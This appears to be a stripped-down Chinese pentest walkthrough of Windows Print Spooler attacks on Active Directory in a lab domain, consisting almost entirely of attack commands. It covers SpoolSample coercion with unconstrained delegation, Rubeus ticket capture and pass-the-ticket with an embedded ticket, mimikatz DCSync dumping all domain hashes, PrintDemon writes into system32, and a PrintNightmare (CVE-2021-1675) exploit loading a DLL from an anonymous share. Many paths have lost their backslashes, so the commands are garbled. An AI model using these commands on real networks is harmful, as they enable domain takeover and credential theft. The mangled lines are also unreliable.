MS-RPRNRpcRemoteFindFirstPrinterChangeNotification(Ex)
具有Kerberos无约束委派授权的账户;
能够攻陷该账户;
域控制器作为打印服务器运行(Print Spooler服务正在运行)。
域:dcyu.com;域控:IP:10.10.10.1;系统:Win2012;主机名:AD;用户:administrator;域内主机:IP:10.10.10.10系统:Win2012;主机名:web01;域用户:web01。
AdFind.exe(http://www.joeware.net/freetools/tools/adfind/)Impacket(https://github.com/SecureAuthCorp/impacket)SpoolSample(https://github.com/leechristensen/SpoolSample)Rubeus(https://github.com/GhostPack/Rubeus)
AdFind.exe -b "DC=dcyu,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
AdFind.exe -b "DC=dcyu,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
ls\adpipespoolss
python3rpcdump.py @10.10.10.1 | egrep 'MS-RPRN|MS-PAR'
Rubeus.exemonitor /interval:1 /filteruser:ad$
SpoolSample.exead web01
Rubeus.exe ptt /ticket:doIEyDCCBMSgAwIBBaEDAgEWooID3jCCA9phggPWMIID0qADAgEFoQobCERDWVUuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0GwhEQ1lVLkNPTaOCA54wggOaoAMCARKhAwIBAqKCA4wEggOIhEAzA7s8DXecjlils7N3XcCNXNH+742I3JKu20KSFPrZ3xfVuu4M9vQ7fYkc5LG/DvhZXM31lQSpZpKZb7s9Rw/Z7iaHF94eUAdU02Cr1ZNXeggpdEkEJzyaMZs0N95G+7vQwQ8HME1+Ls/NzzhshKStU9VMPJXMitGNTKSrpZLddT9ehET5v6bh7NRAQ/8G4s3WHT6v52EwG0jppRYEpgeVr22ICKq+aiZvdklqukJ1XMd0NBbbjutqH5+0EdfH5HPQpc9LTuyiBCcENZ3ZBKHp1EecXFxDaXThWVVtN52KdZ3s1FflawxxY3tiv04JqUoGwU4Dw6NUBQjaHnjQbtY4A6Ua7SRmdNtIpN5InxXKe/aK0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NqR0wG6ADAgECoRQwEhsGa3JidGd0GwhEQ1lVLkNPTQ==
klist
lsadump::dcsync/domain:dcyu.com /all /csv
Microsoft Windows 10,Windows 10 1607版本,Windows 10 1709版本,Windows 10 1803版本,Windows 10 1809版本,Windows 10 1903版本,Windows 10 1909版本,Windows 7 SP1,Windows 8.1,Windows RT 8.1,Windows Server 2008 SP2,Windows Server 2008 R2 SP1,Windows Server 2012,Windows Server 2012 R2,Windows Server 2016,Windows Server 2019,Windows Server 1803版本,Windows Server 1903版本,Windows Server 1909版本。
netuser PrintDemon [email protected] /add
Add-PrinterDriver -Name "Generic / Text Only"
Get-PrinterDriver
Add-PrinterPort -Name "C:Windowssystem32PrintDemon.txt"
Get-PrinterPort | ft name
Add-Printer -Name "PrintDemon" -DriverName "Generic /Text Only" -PortName "C:Windowssystem32PrintDemon.txt"
Get-Printer | ft Name,DriverName,PortName
"Hello, World!" | Out-Printer -Name "PrintDemon"
type C:Windowssystem32PrintDemon.txt
Add-PrinterPort-Namec:windowssystem32ualapi.dll
利用CVE-2020-1337;
利用CVE-2020-17001。
目标开启Spooler服务;
一个普通权限的域账户;
创建的smb服务允许匿名访问,即目标可以直接获取到文件。
域:dcyu.com;域控:IP:192.168.194.131;系统:Win2019;主机名:AD;用户:administrator;域内主机:IP:192.168.194.135;系统:Win2019;主机名:web01;域用户:web01攻击主机:IP:192.168.194.130;系统:Kali。
ls\ADpipespoolss
mkdir C:shareicacls C:share /T /grant Anonymous` logon:ricacls C:share /T /grant Everyone:rNew-SmbShare -Path C:share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'REG ADD "HKLMSystemCurrentControlSetServicesLanManServerParameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipesREG ADD "HKLMSystemCurrentControlSetServicesLanManServerParameters" /v NullSessionShares /t REG_MULTI_SZ /d share /fREG ADD "HKLMSystemCurrentControlSetControlLsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /fREG ADD "HKLMSystemCurrentControlSetControlLsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f# Reboot
git clone https://github.com/cube0x0/impacketcd impacketpython3 ./setup.py install
rpcdump.py @192.168.194.131 | egrep 'MS-RPRN|MS-PAR'
./CVE-2021-1675.py dcyu.com/[email protected] '\192.168.194.135shareb64.dll'